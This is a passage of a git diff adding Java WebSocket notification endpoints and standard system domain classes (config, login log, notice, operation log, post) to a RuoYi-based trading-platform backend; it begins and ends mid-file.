if(StringUtils.isNotBlank(message)){ + try { + + //解析发送的报文 + String toUserId=this.userId; + //传送给对应toUserId用户的websocket + if(StringUtils.isNotBlank(toUserId)&&webSocketMap.containsKey(toUserId)){ + webSocketMap.get(toUserId).sendMessage(message); + } + }catch (Exception e){ + e.printStackTrace(); + } + } + } + + + /** + * @param session + * @param error + */ + @OnError + public void onError(Session session, Throwable error) { + //推出后要遍历redis 订阅的所有信息 + + log.error("用户错误:"+this.userId+",原因:"+error.getMessage()); + error.printStackTrace(); + } + + /** + * 实现服务 + * 器主动推送 + */ + public void sendMessage(String message) { + try { + if(session==null){ + return; + } + this.session.getBasicRemote().sendText(message); + } catch (IOException e) { + e.printStackTrace(); + } + } + + /** + *发送自定 + *义消息 + **/ + public static void sendInfo(String message, String userId) { + if(StringUtils.isNotBlank(userId) && webSocketMap.containsKey(userId)){ + webSocketMap.get(userId).sendMessage(message); + } + } + + /** + *发送自定 + *义消息 + **/ + public void sendInfoAll(Integer code) { + Map map = new HashMap<>(); + map.put("type",code); + for (String s : webSocketMap.keySet()) { + webSocketMap.get(s).sendMessage(JSON.toJSONString(map)); + } + } + + public void sendInfo(Integer code) { + Map map = new HashMap<>(); + map.put("position",code); + for (String s : webSocketMap.keySet()) { + webSocketMap.get(s).sendMessage(JSON.toJSONString(map)); + } + } + + + /** + * 获得此时的 + * 在线人数 + * @return + */ + public static synchronized int getOnlineCount() { + return onlineCount; + } + + /** + * 在线人 + * 数加1 + */ + public static synchronized void addOnlineCount() { + WebSocketCoinOver.onlineCount++; + } + + /** + * 在线人 + * 数减1 + */ + public static synchronized void subOnlineCount() { + WebSocketCoinOver.onlineCount--; + } + +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketNotice.java b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketNotice.java new file mode 100644 index 0000000..94ce657 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketNotice.java @@ -0,0 +1,194 @@ +package com.ruoyi.socket.socketserver; + + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.socket.dto.SocketDto; +import jnr.ffi.annotations.In; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import javax.websocket.*; +import javax.websocket.server.PathParam; +import javax.websocket.server.ServerEndpoint; +import java.io.IOException; +import java.util.ArrayList; +import java.util.concurrent.ConcurrentHashMap; + +/** + * websocket的处理类。 + * 作用相当于HTTP请求 + * 中的controller + */ +@Component +@Slf4j +@ServerEndpoint("/webSocket/notice/{userId}/{uuId}") +public class WebSocketNotice { + + /**静态变量,用来记录当前在线连接数。应该把它设计成线程安全的。*/ + private static int onlineCount = 0; + /**concurrent包的线程安全Set,用来存放每个客户端对应的WebSocket对象。*/ + public static ConcurrentHashMap webSocketMap = new ConcurrentHashMap<>(); + /**与某个客户端的连接会话,需要通过它来给客户端发送数据*/ + private Session session; + /**接收userId*/ + private String userId = ""; + + private static RedisCache redisCache; + private static ITWithdrawService withdrawService; + public void setWebSocketServers(RedisCache redisCache,ITWithdrawService withdrawService){ + this.redisCache = redisCache; + this.withdrawService = withdrawService; + } + + /** + * 连接建立成 + * 功调用的方法 + */ + @OnOpen + public void onOpen(Session session,@PathParam("userId") String userId,@PathParam("uuId") String uuId) { + this.session = session; + this.userId=userId+"_"+uuId; + redisCache.setCacheObject(this.userId,"1"); + + if(webSocketMap.containsKey(this.userId)){ + webSocketMap.remove(this.userId); + //加入set中 + webSocketMap.put(this.userId,this); + }else{ + //加入set中 + webSocketMap.put(this.userId,this); + //在线数加1 + addOnlineCount(); + } + log.debug("用户连接:"+this.userId+",当前在线人数为:" + getOnlineCount()); + SocketDto socketDto = new SocketDto(); + socketDto.setType("0"); + socketDto.setMessage("连接成功"); + sendMessage(JSONObject.toJSONString(socketDto)); + sendMessage(JSONObject.toJSONString(withdrawService.sendMessage(0,this.userId))); + } + + /** + * 连接关闭 + * 调用的方法 + */ + @OnClose + public void onClose() { + if(webSocketMap.containsKey(userId)){ + webSocketMap.remove(userId); + //从set中删除 + subOnlineCount(); + redisCache.deleteObject(this.userId); + } + log.debug("用户退出:"+userId+",当前在线人数为:" + getOnlineCount()); + } + + /** + * 收到客户端消 + * 息后调用的方法 + * @param message + * 客户端发送过来的消息 + **/ + @OnMessage + public void onMessage(String message, Session session) { + //可以群发消息 + //消息保存到数据库、redis + if(StringUtils.isNotBlank(message)){ + try { + //解析发送的报文 + JSONObject jsonObject = JSON.parseObject(message); + //追加发送人(防止串改) + jsonObject.put("fromUserId",this.userId); + String toUserId=(String) jsonObject.put("fromUserId",this.userId); + //传送给对应toUserId用户的websocket + if(StringUtils.isNotBlank(toUserId)&&webSocketMap.containsKey(toUserId)){ + webSocketMap.get(toUserId).sendMessage(message); + } + }catch (Exception e){ + e.printStackTrace(); + } + } + } + + + /** + * @param session + * @param error + */ + @OnError + public void onError(Session session, Throwable error) { + //推出后要遍历redis 订阅的所有信息 + log.error("用户错误:"+this.userId+",原因:"+error.getMessage()); + } + + /** + * 实现服务 + * 器主动推送 + */ + public void sendMessage(String message) { + try { + if(session==null){ + return; + } + this.session.getBasicRemote().sendText(message); + } catch (IOException e) { + e.printStackTrace(); + } + } + + /** + *发送自定 + *义消息 + **/ + public static void sendInfo(String message, String userId) { + if(StringUtils.isNotBlank(userId) && webSocketMap.containsKey(userId)){ + webSocketMap.get(userId).sendMessage(message); + } + } + + /** + *发送自定 + *义消息 + **/ + public static void sendInfoAll(ITWithdrawService withdrawService, Integer code) { + try { + Thread.sleep(1000); + } catch (InterruptedException e) { + throw new RuntimeException(e); + } + for (String s : webSocketMap.keySet()) { + webSocketMap.get(s).sendMessage(JSON.toJSONString(withdrawService.sendMessage(code,s))); + } + } + /** + * 获得此时的 + * 在线人数 + * @return + */ + public static synchronized int getOnlineCount() { + return onlineCount; + } + + /** + * 在线人 + * 数加1 + */ + public static synchronized void addOnlineCount() { + WebSocketNotice.onlineCount++; + } + + /** + * 在线人 + * 数减1 + */ + public static synchronized void subOnlineCount() { + WebSocketNotice.onlineCount--; + } + +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketServers.java b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketServers.java new file mode 100644 index 0000000..a34b371 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketServers.java @@ -0,0 +1,196 @@ +package com.ruoyi.socket.socketserver; + + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.socket.dto.SocketDto; +import com.ruoyi.socket.dto.WsSubBO; +import com.ruoyi.socket.manager.WebSocketUserManager; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.springframework.stereotype.Component; + +import javax.websocket.*; +import javax.websocket.server.PathParam; +import javax.websocket.server.ServerEndpoint; +import java.io.IOException; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.stream.Collectors; + +/** + * websocket的处理类。 + * 作用相当于HTTP请求 + * 中的controller + */ +@Component +@Slf4j +@ServerEndpoint("/ws/{userId}") +public class WebSocketServers { + //websocket 存储订阅对象 key 为 订阅类型。DETAIL TRADE KLINE List为订阅对象Id 取消时候delete + public static ConcurrentHashMap> detailMap = new ConcurrentHashMap<>(); + public static ConcurrentHashMap> tradeMap = new ConcurrentHashMap<>(); + public static ConcurrentHashMap> klineMap = new ConcurrentHashMap<>(); + /**静态变量,用来记录当前在线连接数。应该把它设计成线程安全的。*/ + private static int onlineCount = 0; + /**concurrent包的线程安全Set,用来存放每个客户端对应的WebSocket对象。*/ + public static ConcurrentHashMap webSocketMap = new ConcurrentHashMap<>(); + /**与某个客户端的连接会话,需要通过它来给客户端发送数据*/ + private Session session; + /**接收userId*/ + private String userId = ""; + private static WebSocketUserManager webSocketUserManager; + private static RedisCache redisCache; + public void setWebSocketServers(RedisCache redisCache,WebSocketUserManager webSocketUserManager){ + //把spring注入的类放到 ws中 + this.redisCache = redisCache; + this.webSocketUserManager = webSocketUserManager; + } + + /** + * 连接建立成 + * 功调用的方法 + */ + @OnOpen + public void onOpen(Session session,@PathParam("userId") String userId) { + this.session = session; + this.userId=userId; + if(webSocketMap.containsKey(userId)){ + webSocketMap.remove(userId); + //加入set中 + webSocketMap.put(userId,this); + }else{ + //加入set中 + webSocketMap.put(userId,this); + //在线数加1 + addOnlineCount(); + } + log.debug("用户连接:"+userId+",当前在线人数为:" + getOnlineCount()); + SocketDto socketDto = new SocketDto(); + socketDto.setType("0"); + socketDto.setMessage("连接成功"); + sendMessage(JSONObject.toJSONString(socketDto)); + } + + /** + * 连接关闭 + * 调用的方法 + */ + @OnClose + public void onClose() { + if(webSocketMap.containsKey(userId)){ + webSocketMap.remove(userId); + //从set中删除 + subOnlineCount(); + redisCache.deleteObject(this.userId); + //DETAIL TRADE KLINE + List detail = detailMap.get("DETAIL"); + detail.remove(userId); + detailMap.put("DETAIL",detail); + for (Map.Entry> entry : klineMap.entrySet()) { + List value = entry.getValue(); + value.remove(userId); + } + for (Map.Entry> entry : tradeMap.entrySet()) { + + List value = entry.getValue(); + value.remove(userId); + } + } + log.debug("用户退出:"+userId+",当前在线人数为:" + getOnlineCount()); + } + + /** + * 收到客户端消 + * 息后调用的方法 + * @param message + * 客户端发送过来的消息 + **/ + @OnMessage + public void onMessage(String message, Session session) { + /* message= message.replace("\"",""); + */ + + //可以群发消息 + //消息保存到数据库、redis + if(StringUtils.isNotBlank(message)&&!message.equals("heartbeat")){ + try { + //解析发送的报文 + JSONObject jsonObject = JSON.parseObject(message); + //消息订阅 + WsSubBO wsSubBo = jsonObject.toJavaObject(WsSubBO.class); + wsSubBo.setUserId(userId); + webSocketUserManager.subscribeMsg(wsSubBo); + }catch (Exception e){ + e.printStackTrace(); + } + } + } + + + /** + * @param session + * @param error + */ + @OnError + public void onError(Session session, Throwable error) { + //推出后要遍历redis 订阅的所有信息 + log.error("用户错误:"+this.userId+",原因:"+error.getMessage()); + error.printStackTrace(); + } + + /** + * 实现服务 + * 器主动推送 + */ + public synchronized void sendMessage(String message) { + try { + if(session==null){ + return; + } + this.session.getBasicRemote().sendText(message); + } catch (IOException e) { + e.printStackTrace(); + } + } + + /** + *发送自定 + *义消息 + **/ + public static void sendInfo(String message, String userId) { + if(StringUtils.isNotBlank(userId) && webSocketMap.containsKey(userId)){ + webSocketMap.get(userId).sendMessage(message); + } + } + + /** + * 获得此时的 + * 在线人数 + * @return + */ + public static synchronized int getOnlineCount() { + return onlineCount; + } + + /** + * 在线人 + * 数加1 + */ + public static synchronized void addOnlineCount() { + WebSocketServers.onlineCount++; + } + + /** + * 在线人 + * 数减1 + */ + public static synchronized void subOnlineCount() { + WebSocketServers.onlineCount--; + } + +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketSubCoins.java b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketSubCoins.java new file mode 100644 index 0000000..afe1d70 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketSubCoins.java @@ -0,0 +1,177 @@ +package com.ruoyi.socket.socketserver; + +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.bussiness.domain.TOwnCoinSubscribeOrder; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.socket.constants.SocketTypeConstants; +import com.ruoyi.socket.dto.MessageVo; +import com.ruoyi.socket.dto.SocketDto; +import com.ruoyi.socket.dto.SocketMessageVo; +import com.ruoyi.socket.dto.WsCoinSubVO; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.springframework.beans.BeanUtils; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import javax.websocket.*; +import javax.websocket.server.PathParam; +import javax.websocket.server.ServerEndpoint; +import java.io.IOException; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +/** + * 新币订阅消息推送 + * + * @author HH + * @date 2023/10/10 + */ +@Component +@Slf4j +@ServerEndpoint("/ws/coin/{userId}") +public class WebSocketSubCoins { + + /** + * concurrent包的线程安全Set,用来存放每个客户端对应的WebSocket对象。 + */ + public static ConcurrentHashMap webSocketMap = new ConcurrentHashMap<>(); + /** + * 与某个客户端的连接会话,需要通过它来给客户端发送数据 + */ + private Session session; + /** + * 接收userId + */ + private String userId = ""; + + private static RedisCache redisCache; + private static ITOwnCoinService tOwnCoinService; + + public void setWebSocketServers(RedisCache redisCache, ITOwnCoinService tOwnCoinService) { + //把spring注入的类放到 ws中 + this.redisCache = redisCache; + this.tOwnCoinService = tOwnCoinService; + } + + /** + * 连接建立成 + * 功调用的方法 + */ + @OnOpen + public void onOpen(Session session, @PathParam("userId") String userId) throws IOException { + this.session = session; + this.userId = userId; + if (webSocketMap.containsKey(userId)) { + webSocketMap.remove(userId); + webSocketMap.put(userId, this); + } else { + webSocketMap.put(userId, this); + } + SocketDto socketDto = new SocketDto(); + socketDto.setType("0"); + socketDto.setMessage("连接成功"); + sendMessage(JSONObject.toJSONString(socketDto)); + } + + /** + * 收到客户端消 + * 息后调用的方法 + * + * @param message 客户端发送过来的消息 + **/ + @OnMessage + public void onMessage(String message, Session session) { + } + + /** + * 连接关闭 + * 调用的方法 + */ + @OnClose + public void onClose() { + if (webSocketMap.containsKey(userId)) { + webSocketMap.remove(userId); + redisCache.deleteObject(this.userId); + } + } + + /** + * @param session + * @param error + */ + @OnError + public void onError(Session session, Throwable error) { + //推出后要遍历redis 订阅的所有信息 + log.error("用户错误:" + this.userId + ",原因:" + error.getMessage()); + error.printStackTrace(); + } + + /** + * 实现服务 + * 器主动推送 + */ + public synchronized void sendMessage(String message) { + try { + if (session == null) { + return; + } + this.session.getBasicRemote().sendText(message); + } catch (IOException e) { + e.printStackTrace(); + } + } + + + public void sendUserFreeze(String userId) { + SocketMessageVo socketMessageVo = new SocketMessageVo(); + socketMessageVo.setType(SocketTypeConstants.USER_STATUS); + MessageVo messageVo = new MessageVo(); + messageVo.setMessage(SocketTypeConstants.USER_STATUS); + messageVo.setCode("1"); + socketMessageVo.setDate(messageVo); + String jsonStr = JSONUtil.toJsonStr(socketMessageVo); + if (webSocketMap.containsKey(userId)){ + webSocketMap.get(userId).sendMessage(jsonStr); + } + } + + + public void sendInfoAll(Integer code) { + SocketMessageVo socketMessageVo = new SocketMessageVo(); + socketMessageVo.setType(SocketTypeConstants.SETTLEMENT); + MessageVo messageVo = new MessageVo(); + messageVo.setCode("1"); + Map map = new HashMap<>(); + map.put("type",code); + for (String s : webSocketMap.keySet()) { + messageVo.setMessage(com.alibaba.fastjson2.JSON.toJSONString(map)); + socketMessageVo.setDate(messageVo); + String jsonStr = JSONUtil.toJsonStr(socketMessageVo); + webSocketMap.get(s).sendMessage(jsonStr); + } + } + + public void sendInfo(Integer code) { + Map map = new HashMap<>(); + map.put("position",code); + + SocketMessageVo socketMessageVo = new SocketMessageVo(); + socketMessageVo.setType(SocketTypeConstants.POSITION); + MessageVo messageVo = new MessageVo(); + messageVo.setCode("1"); + for (String s : webSocketMap.keySet()) { + messageVo.setMessage(JSON.toJSONString(map)); + socketMessageVo.setDate(messageVo); + String jsonStr = JSONUtil.toJsonStr(socketMessageVo); + webSocketMap.get(s).sendMessage(jsonStr); + } + } +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysCache.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysCache.java new file mode 100644 index 0000000..83f0703 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysCache.java @@ -0,0 +1,81 @@ +package com.ruoyi.system.domain; + +import com.ruoyi.common.utils.StringUtils; + +/** + * 缓存信息 + * + * @author ruoyi + */ +public class SysCache +{ + /** 缓存名称 */ + private String cacheName = ""; + + /** 缓存键名 */ + private String cacheKey = ""; + + /** 缓存内容 */ + private String cacheValue = ""; + + /** 备注 */ + private String remark = ""; + + public SysCache() + { + + } + + public SysCache(String cacheName, String remark) + { + this.cacheName = cacheName; + this.remark = remark; + } + + public SysCache(String cacheName, String cacheKey, String cacheValue) + { + this.cacheName = StringUtils.replace(cacheName, ":", ""); + this.cacheKey = StringUtils.replace(cacheKey, cacheName, ""); + this.cacheValue = cacheValue; + } + + public String getCacheName() + { + return cacheName; + } + + public void setCacheName(String cacheName) + { + this.cacheName = cacheName; + } + + public String getCacheKey() + { + return cacheKey; + } + + public void setCacheKey(String cacheKey) + { + this.cacheKey = cacheKey; + } + + public String getCacheValue() + { + return cacheValue; + } + + public void setCacheValue(String cacheValue) + { + this.cacheValue = cacheValue; + } + + public String getRemark() + { + return remark; + } + + public void setRemark(String remark) + { + this.remark = remark; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysConfig.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysConfig.java new file mode 100644 index 0000000..c54678c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysConfig.java @@ -0,0 +1,111 @@ +package com.ruoyi.system.domain; + +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 参数配置表 sys_config + * + * @author ruoyi + */ +public class SysConfig extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 参数主键 */ + @Excel(name = "参数主键", cellType = ColumnType.NUMERIC) + private Long configId; + + /** 参数名称 */ + @Excel(name = "参数名称") + private String configName; + + /** 参数键名 */ + @Excel(name = "参数键名") + private String configKey; + + /** 参数键值 */ + @Excel(name = "参数键值") + private String configValue; + + /** 系统内置(Y是 N否) */ + @Excel(name = "系统内置", readConverterExp = "Y=是,N=否") + private String configType; + + public Long getConfigId() + { + return configId; + } + + public void setConfigId(Long configId) + { + this.configId = configId; + } + + @NotBlank(message = "参数名称不能为空") + @Size(min = 0, max = 100, message = "参数名称不能超过100个字符") + public String getConfigName() + { + return configName; + } + + public void setConfigName(String configName) + { + this.configName = configName; + } + + @NotBlank(message = "参数键名长度不能为空") + @Size(min = 0, max = 100, message = "参数键名长度不能超过100个字符") + public String getConfigKey() + { + return configKey; + } + + public void setConfigKey(String configKey) + { + this.configKey = configKey; + } + + @NotBlank(message = "参数键值不能为空") + @Size(min = 0, max = 500, message = "参数键值长度不能超过500个字符") + public String getConfigValue() + { + return configValue; + } + + public void setConfigValue(String configValue) + { + this.configValue = configValue; + } + + public String getConfigType() + { + return configType; + } + + public void setConfigType(String configType) + { + this.configType = configType; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("configId", getConfigId()) + .append("configName", getConfigName()) + .append("configKey", getConfigKey()) + .append("configValue", getConfigValue()) + .append("configType", getConfigType()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysLogininfor.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysLogininfor.java new file mode 100644 index 0000000..7fdea30 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysLogininfor.java @@ -0,0 +1,144 @@ +package com.ruoyi.system.domain; + +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 系统访问记录表 sys_logininfor + * + * @author ruoyi + */ +public class SysLogininfor extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** ID */ + @Excel(name = "序号", cellType = ColumnType.NUMERIC) + private Long infoId; + + /** 用户账号 */ + @Excel(name = "用户账号") + private String userName; + + /** 登录状态 0成功 1失败 */ + @Excel(name = "登录状态", readConverterExp = "0=成功,1=失败") + private String status; + + /** 登录IP地址 */ + @Excel(name = "登录地址") + private String ipaddr; + + /** 登录地点 */ + @Excel(name = "登录地点") + private String loginLocation; + + /** 浏览器类型 */ + @Excel(name = "浏览器") + private String browser; + + /** 操作系统 */ + @Excel(name = "操作系统") + private String os; + + /** 提示消息 */ + @Excel(name = "提示消息") + private String msg; + + /** 访问时间 */ + @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @Excel(name = "访问时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss") + private Date loginTime; + + public Long getInfoId() + { + return infoId; + } + + public void setInfoId(Long infoId) + { + this.infoId = infoId; + } + + public String getUserName() + { + return userName; + } + + public void setUserName(String userName) + { + this.userName = userName; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + public String getIpaddr() + { + return ipaddr; + } + + public void setIpaddr(String ipaddr) + { + this.ipaddr = ipaddr; + } + + public String getLoginLocation() + { + return loginLocation; + } + + public void setLoginLocation(String loginLocation) + { + this.loginLocation = loginLocation; + } + + public String getBrowser() + { + return browser; + } + + public void setBrowser(String browser) + { + this.browser = browser; + } + + public String getOs() + { + return os; + } + + public void setOs(String os) + { + this.os = os; + } + + public String getMsg() + { + return msg; + } + + public void setMsg(String msg) + { + this.msg = msg; + } + + public Date getLoginTime() + { + return loginTime; + } + + public void setLoginTime(Date loginTime) + { + this.loginTime = loginTime; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysNotice.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysNotice.java new file mode 100644 index 0000000..8c07a54 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysNotice.java @@ -0,0 +1,102 @@ +package com.ruoyi.system.domain; + +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.core.domain.BaseEntity; +import com.ruoyi.common.xss.Xss; + +/** + * 通知公告表 sys_notice + * + * @author ruoyi + */ +public class SysNotice extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 公告ID */ + private Long noticeId; + + /** 公告标题 */ + private String noticeTitle; + + /** 公告类型(1通知 2公告) */ + private String noticeType; + + /** 公告内容 */ + private String noticeContent; + + /** 公告状态(0正常 1关闭) */ + private String status; + + public Long getNoticeId() + { + return noticeId; + } + + public void setNoticeId(Long noticeId) + { + this.noticeId = noticeId; + } + + public void setNoticeTitle(String noticeTitle) + { + this.noticeTitle = noticeTitle; + } + + @Xss(message = "公告标题不能包含脚本字符") + @NotBlank(message = "公告标题不能为空") + @Size(min = 0, max = 50, message = "公告标题不能超过50个字符") + public String getNoticeTitle() + { + return noticeTitle; + } + + public void setNoticeType(String noticeType) + { + this.noticeType = noticeType; + } + + public String getNoticeType() + { + return noticeType; + } + + public void setNoticeContent(String noticeContent) + { + this.noticeContent = noticeContent; + } + + public String getNoticeContent() + { + return noticeContent; + } + + public void setStatus(String status) + { + this.status = status; + } + + public String getStatus() + { + return status; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("noticeId", getNoticeId()) + .append("noticeTitle", getNoticeTitle()) + .append("noticeType", getNoticeType()) + .append("noticeContent", getNoticeContent()) + .append("status", getStatus()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysOperLog.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysOperLog.java new file mode 100644 index 0000000..f6761df --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysOperLog.java @@ -0,0 +1,269 @@ +package com.ruoyi.system.domain; + +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 操作日志记录表 oper_log + * + * @author ruoyi + */ +public class SysOperLog extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 日志主键 */ + @Excel(name = "操作序号", cellType = ColumnType.NUMERIC) + private Long operId; + + /** 操作模块 */ + @Excel(name = "操作模块") + private String title; + + /** 业务类型(0其它 1新增 2修改 3删除) */ + @Excel(name = "业务类型", readConverterExp = "0=其它,1=新增,2=修改,3=删除,4=授权,5=导出,6=导入,7=强退,8=生成代码,9=清空数据") + private Integer businessType; + + /** 业务类型数组 */ + private Integer[] businessTypes; + + /** 请求方法 */ + @Excel(name = "请求方法") + private String method; + + /** 请求方式 */ + @Excel(name = "请求方式") + private String requestMethod; + + /** 操作类别(0其它 1后台用户 2手机端用户) */ + @Excel(name = "操作类别", readConverterExp = "0=其它,1=后台用户,2=手机端用户") + private Integer operatorType; + + /** 操作人员 */ + @Excel(name = "操作人员") + private String operName; + + /** 部门名称 */ + @Excel(name = "部门名称") + private String deptName; + + /** 请求url */ + @Excel(name = "请求地址") + private String operUrl; + + /** 操作地址 */ + @Excel(name = "操作地址") + private String operIp; + + /** 操作地点 */ + @Excel(name = "操作地点") + private String operLocation; + + /** 请求参数 */ + @Excel(name = "请求参数") + private String operParam; + + /** 返回参数 */ + @Excel(name = "返回参数") + private String jsonResult; + + /** 操作状态(0正常 1异常) */ + @Excel(name = "状态", readConverterExp = "0=正常,1=异常") + private Integer status; + + /** 错误消息 */ + @Excel(name = "错误消息") + private String errorMsg; + + /** 操作时间 */ + @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @Excel(name = "操作时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss") + private Date operTime; + + /** 消耗时间 */ + @Excel(name = "消耗时间", suffix = "毫秒") + private Long costTime; + + public Long getOperId() + { + return operId; + } + + public void setOperId(Long operId) + { + this.operId = operId; + } + + public String getTitle() + { + return title; + } + + public void setTitle(String title) + { + this.title = title; + } + + public Integer getBusinessType() + { + return businessType; + } + + public void setBusinessType(Integer businessType) + { + this.businessType = businessType; + } + + public Integer[] getBusinessTypes() + { + return businessTypes; + } + + public void setBusinessTypes(Integer[] businessTypes) + { + this.businessTypes = businessTypes; + } + + public String getMethod() + { + return method; + } + + public void setMethod(String method) + { + this.method = method; + } + + public String getRequestMethod() + { + return requestMethod; + } + + public void setRequestMethod(String requestMethod) + { + this.requestMethod = requestMethod; + } + + public Integer getOperatorType() + { + return operatorType; + } + + public void setOperatorType(Integer operatorType) + { + this.operatorType = operatorType; + } + + public String getOperName() + { + return operName; + } + + public void setOperName(String operName) + { + this.operName = operName; + } + + public String getDeptName() + { + return deptName; + } + + public void setDeptName(String deptName) + { + this.deptName = deptName; + } + + public String getOperUrl() + { + return operUrl; + } + + public void setOperUrl(String operUrl) + { + this.operUrl = operUrl; + } + + public String getOperIp() + { + return operIp; + } + + public void setOperIp(String operIp) + { + this.operIp = operIp; + } + + public String getOperLocation() + { + return operLocation; + } + + public void setOperLocation(String operLocation) + { + this.operLocation = operLocation; + } + + public String getOperParam() + { + return operParam; + } + + public void setOperParam(String operParam) + { + this.operParam = operParam; + } + + public String getJsonResult() + { + return jsonResult; + } + + public void setJsonResult(String jsonResult) + { + this.jsonResult = jsonResult; + } + + public Integer getStatus() + { + return status; + } + + public void setStatus(Integer status) + { + this.status = status; + } + + public String getErrorMsg() + { + return errorMsg; + } + + public void setErrorMsg(String errorMsg) + { + this.errorMsg = errorMsg; + } + + public Date getOperTime() + { + return operTime; + } + + public void setOperTime(Date operTime) + { + this.operTime = operTime; + } + + public Long getCostTime() + { + return costTime; + } + + public void setCostTime(Long costTime) + { + this.costTime = costTime; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysPost.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysPost.java new file mode 100644 index 0000000..820a13b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysPost.java @@ -0,0 +1,124 @@ +package com.ruoyi.system.domain; + +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.NotNull; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 岗位表 sys_post + * + * @author ruoyi + */ +public class SysPost extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 岗位序号 */ + @Excel(name = "岗位序号", cellType = ColumnType.NUMERIC) + private Long postId; + + /** 岗位编码 */ + @Excel(name = "岗位编码") + private String postCode; + + /** 岗位名称 */ + @Excel(name = "岗位名称") + private String postName; + + /** 岗位排序 */ + @Excel(name = "岗位排序") + private Integer postSort; + + /** 状态(0正常 1停用) */ + @Excel(name = "状态", readConverterExp = "0=正常,1=停用") + private String status; + + /** 用户是否存在此岗位标识 默认不存在 */ + private boolean flag = false; + + public 